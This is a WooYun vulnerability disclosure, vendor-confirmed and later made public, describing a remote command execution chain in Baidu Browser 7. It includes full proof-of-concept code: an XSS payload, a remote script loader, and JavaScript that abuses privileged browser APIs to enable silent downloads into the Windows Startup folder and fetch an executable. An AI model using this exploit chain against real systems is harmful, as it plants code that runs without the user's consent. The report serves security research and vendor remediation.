当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083294

漏洞标题:百度浏览器远程命令执行五

相关厂商:百度

漏洞作者: gainover

提交时间:2014-11-14 17:54

修复时间:2015-02-12 17:56

公开时间:2015-02-12 17:56

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-14: 细节已通知厂商并且等待厂商处理中
2014-11-17: 厂商已经确认,细节仅向厂商公开
2014-11-20: 细节向第三方安全合作伙伴开放
2015-01-11: 细节向核心白帽子及相关领域专家公开
2015-01-21: 细节向普通白帽子公开
2015-01-31: 细节向实习白帽子公开
2015-02-12: 细节向公众公开

简要描述:

一直以为百度浏览器没更新哇,看新闻才知道,百度浏览器已经发布第7版本(7.0.400.292),于是又下载下来研究了一番,相对于第6版本,在一些API上确实有了不小的安全改进,但是也有一些7版本上的改进,反而导致可以远程命令执行。

详细说明:

1. 首先,我们用百度浏览器随便打开一个本地的页面,比如file:///C:/xxxxxx,你会发现出现以下报错,F12控制台内 location.href查看,可以看到URL改变为:data:text/html,biduwebdata

1.jpg


不要奇怪我为什么会这么测试,因为在6版本的百度浏览器中 data:text/html,biduwebdata 域下存在XSS,所以我其实是想看看 data:text/html,biduwebdata 在7版本中是否也存在,你可以看到我们所输入的URL在页面中被输出,那么会不会这里没有转义呢?

2.jpg


于是在bdbrowser域下用以下代码进行测试,(因为http域无法重定向至 file域,所以在bdbrowser域下测试):

location.href='file:///C:/xxxxxx#"><img/src="1"/onerror="alert(1)">'


可以看到弹窗了。

3.jpg


2. 第2个问题来了, data:text/html,biduwebdata 这个是data协议的,这个协议下有特权吗? 答案是:6版本的百度浏览器是没有的,但这个最新版本的,data:text/html,biduwebdata 这个URL下是有特权的,但其它data:xxx是没有的。
3. 这样一来,我们的第一步,特权域XSS就已经有了。但是,我们如何从http域重定向至file域呢?
A. 我们重定向至一个不存在的协议?

5.jpg


似乎并不能实现和file域一样的效果。
B. about协议则直接打开了空白页
C. 还有一个比较常见的res://协议,我们试试~~

location.href='res:///C:/xxxxxx#"><img/src="1"/onerror="alert(1)">'


6.jpg


如上图所示,我们可以看到res协议实现了和file协议一样的效果,且 http协议可以跳转至res协议
4. 因此,XSS我们有了, 如何实现命令执行呢? 我对之前测试过的API进行了一些测试,例如皮肤下载,插件下载,均已作出了一定的安全限制。然而,有一个功能比较显眼:

4.jpg


上图涉及到2个部分:
一是静默下载,即不需要用户交互,便可将指定程序下载到下载目录。
二是下载目录设置。
如果我们设置为静默下载,并将下载目录指向用户的启动目录,然后让用户下载一个exe,那么该exe将会被下载到用户的启动目录中。
5. 有了特权域的XSS,以上想法,我们并不难实现,这里直接给出代码,代码中含有注释。
A. 重定向至res://....,触发XSS,调用baidupoc5.js

<html>
<head>百度浏览器命令执行5</head>
<body>
<script>
window.name='var s=document.createElement("script");s.src="http://127.0.0.1/test/baidupoc5.js";document.body.appendChild(s);';
location.href='res://c/Users/gainover/Desktop/xxxxx#"><img src=1 onerror=eval(window.name)>'
</script>
</body>
</html>


B. baidupoc5.js代码如下:

var isWin7=/NT\s+6/.test(navigator.userAgent);
/*获取用户名*/
function getUserNameCallback(id,res){
console.log(arguments);
if(!res){
console.log("download skin error");
return ;
}
var data=JSON.parse(res);
var path=data.body.path;
var d=path.substring(0,1);
var user=isWin7?(path.match(/\\Users\\([^\\]+)\\/)||["",""])[1]:(path.match(/\\Documents and Settings\\([^\\]+)\\/)||["",""])[1];
console.log(path);
console.log(user);
setDownloadDir(d,user);
}
/*设置下载目录*/
function setDownloadDir(d,user){
var win7=d+"://Users/"+user+"/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/";
var xp=d+"://Documents and Settings/"+user+"/「开始」菜单/程序/启动/";
var dir=isWin7?win7:xp;
window.external.StartRequest(1058,"set_string_pref","","[\"download_default_directory\",\""+dir+"\"]");
console.log("download directory");
setTimeout(function(){setDownloadSilent()},100);
}
/*静默下载*/
function setDownloadSilent(){
window.external.StartRequest(1059,"set_boolean_pref","","[\"download_auto_save\",true]");
console.log("download settings");
setTimeout(function(){startDownload()},100);
}
/*开始下载*/
function startDownload(){
console.log("download exe");
location.href="http://192.168.1.13/calc.exe";
}
/*入口*/
function main(){
window.external.StartRequest(1057,"theme_apply","getUserNameCallback","[{\"md5\":\"0a696bf6144f37186eb2ba4b637c97da\",\"id\":\"0a696bf6144f37186eb2ba4b637c97da\",\"src\":\"http://webimg.br.baidu.com/odin/201410/0a696bf6144f37186eb2ba4b637c97da.jpg\",\"thumb\":\"http://webimg.br.baidu.com/odin/201410/a57d9c085d1cca1c16a1265f0bea040e.jpg\",\"subject\":\"大桥夜景\",\"tone\":0,\"tag\":\"风景\",\"desc\":\"\",\"from\":0,\"themeId\":\"41\",\"name\":\"大桥夜景\",\"category\":\"精选\",\"position\":4}]");
}
main();

漏洞证明:

以上代码在Win7下进行测试,截图如下:

7.jpg


xp下也测试通过。

修复方案:

修复 data:text/html,biduwebdata 下的XSS,
浏览器在设置用户下载目录时,需要启用一定的用户交互,以避免随意一个特权域XSS即可更改此设置。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-11-17 12:35

厂商回复:

感谢提交,已通知业务部门处理

最新状态:

暂无